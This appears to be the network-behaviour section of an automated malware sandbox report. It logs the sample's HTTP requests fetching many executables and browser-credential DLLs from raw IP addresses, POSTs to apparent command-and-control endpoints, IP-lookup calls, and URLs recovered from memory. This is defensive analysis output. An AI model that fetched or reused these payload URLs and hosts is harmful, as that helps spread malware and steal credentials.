Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=U4NEU7shPFIMhhw4GXtqwXZamOhdW4NoBG..0Z6q_yc-1725603480-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: condedqpwqm.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: condedqpwqm.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=PH3t8AxI4YISlQ0ButgKSks67MRVVjpRqnzxmV0xuDQ-1725603511-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: condedqpwqm.shop
Source: global traffic	HTTP traffic detected: GET /api/crazyfish.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.143.223.148
Source: global traffic	HTTP traffic detected: POST /api/twofish.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Content-Length: 133Host: 185.143.223.148
Source: global traffic	HTTP traffic detected: POST /api/twofish.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Content-Length: 133Host: 185.143.223.148
Source: global traffic	HTTP traffic detected: HEAD /ssl/install.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.113.115.33Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /revada/66c6fcb30b9dd_123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /vjgg.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 46.29.235.52Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /sgnr.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 46.29.235.52Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /yuop/66d897ad1752a_File.exe#xin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /bobr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.111.174.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /nokia/lamp.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 31.41.244.9Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /yuop/66d59ef9d4404_premium.exe#upus HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /malesa/66d1b7f7f3765_Front.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vjgg.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 46.29.235.52Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sgnr.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 46.29.235.52Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nokia/lamp.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 31.41.244.9Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /bobr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.111.174.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /yuop/66d9de22f231f_crypted.exe#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /revada/66d98aa7bea3e_newPrime.exe#real HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ssl/install.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.113.115.33Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /prog/66d70e8640404_trics.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /revada/66c6fcb30b9dd_123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66d897ad1752a_File.exe#xin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66d59ef9d4404_premium.exe#upus HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /malesa/66d1b7f7f3765_Front.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66d9de22f231f_crypted.exe#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /revada/66d98aa7bea3e_newPrime.exe#real HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d70e8640404_trics.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/twofish.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Content-Length: 561Host: 185.143.223.148

Source: unknown	TCP traffic detected without corresponding DNS query: 185.143.223.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.143.223.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.143.223.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.143.223.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.143.223.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.143.223.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.143.223.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.143.223.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.143.223.148
Source: unknown	TCP traffic detected without corresponding DNS query: 185.143.223.148
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.33
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.33
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.33
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 46.29.235.52
Source: unknown	TCP traffic detected without corresponding DNS query: 46.29.235.52
Source: unknown	TCP traffic detected without corresponding DNS query: 46.29.235.52
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 46.29.235.52
Source: unknown	TCP traffic detected without corresponding DNS query: 46.29.235.52
Source: unknown	TCP traffic detected without corresponding DNS query: 46.29.235.52
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 46.29.235.52
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 46.29.235.52
Source: unknown	TCP traffic detected without corresponding DNS query: 46.29.235.52
Source: unknown	TCP traffic detected without corresponding DNS query: 46.29.235.52
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 46.29.235.52
Source: unknown	TCP traffic detected without corresponding DNS query: 46.29.235.52

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0050B480 InternetOpenUrlA,InternetReadFile,InternetCloseHandle,

2_2_0050B480

Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: api64.ipify.org
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: file-link-iota.vercel.appCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /handler/download?action=download&download_id=uuVCUDm6&private_id=cb726802f5fcca567315ff7c87e27582&url=https%253A%252F%252Fyoutransfer.net%252FuuVCUDm6%252Fcb726802f5fcca567315ff7c87e27582 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Cache-Control: no-cacheHost: youtransfer.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1nhuM4.js HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: iplogger.org
Source: global traffic	HTTP traffic detected: GET /fneogr HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1.exe HTTP/1.1Host: smkn2sumbawabesar.sch.idConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fneogr HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=f3c4d6f56f5d888bd9_3268186582621973209
Source: global traffic	HTTP traffic detected: GET /fneogr HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=f3c4d6f56f5d888bd9_3268186582621973209
Source: global traffic	HTTP traffic detected: GET /api/crazyfish.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.143.223.148
Source: global traffic	HTTP traffic detected: GET /vjgg.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 46.29.235.52Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sgnr.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 46.29.235.52Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nokia/lamp.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 31.41.244.9Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /bobr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.111.174.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ssl/install.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.113.115.33Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /revada/66c6fcb30b9dd_123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66d897ad1752a_File.exe#xin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66d59ef9d4404_premium.exe#upus HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /malesa/66d1b7f7f3765_Front.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66d9de22f231f_crypted.exe#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /revada/66d98aa7bea3e_newPrime.exe#real HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d70e8640404_trics.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vjgg.exe HTTP/1.1Host: 46.29.235.52Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lnef.exe HTTP/1.1Host: 46.29.235.52Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 147.45.126.10Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.100Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: 147.45.126.10Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: api64.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: 240902180529931.tyr.zont16.com
Source: global traffic	DNS traffic detected: DNS query: file-link-iota.vercel.app
Source: global traffic	DNS traffic detected: DNS query: youtransfer.net
Source: global traffic	DNS traffic detected: DNS query: iplogger.org
Source: global traffic	DNS traffic detected: DNS query: stamppreewntnq.shop
Source: global traffic	DNS traffic detected: DNS query: locatedblsoqp.shop
Source: global traffic	DNS traffic detected: DNS query: traineiwnqo.shop
Source: global traffic	DNS traffic detected: DNS query: condedqpwqm.shop
Source: global traffic	DNS traffic detected: DNS query: t.me

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: stamppreewntnq.shop

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 06 Sep 2024 06:17:26 GMTContent-Type: text/html; charset=UTF-8Content-Length: 17268Connection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACritical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Content-Options: nosniffX-Frame-Options: SAMEORIGINcf-mitigated: challenge

Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66d753b13350c_cry.exe#kiscrypto
Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66d753b13350c_cry.exe#kiscryptoH
Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66d1b7f7f3765_Front.exe
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66d1b7f7f3765_Front.exeC:
Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66d1b7f7f3765_Front.exellg
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/malesa/66d1b7f7f3765_Front.exerZ
Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d70e8640404_trics.exe
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66d70e8640404_trics.exeC:
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exe
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exe1
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exeC:
Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exeP
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exeb
Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exei.dll
Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exej
Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exen
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.00000000010AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66d98aa7bea3e_newPrime.exe#real
Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66d98aa7bea3e_newPrime.exe#real9
Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66d98aa7bea3e_newPrime.exe#real?
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66d98aa7bea3e_newPrime.exe#realC:
Source: RegAsm.exe, 00000002.00000002.1950398912.00000000010AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66d98aa7bea3e_newPrime.exe#realStrong
Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66d98aa7bea3e_newPrime.exe#reall
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/revada/66d98aa7bea3e_newPrime.exe#realw
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d59ef9d4404_premium.exe#upus
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d59ef9d4404_premium.exe#upusC:
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d59ef9d4404_premium.exe#upusG
Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d59ef9d4404_premium.exe#upusZ
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d897ad1752a_File.exe#xin
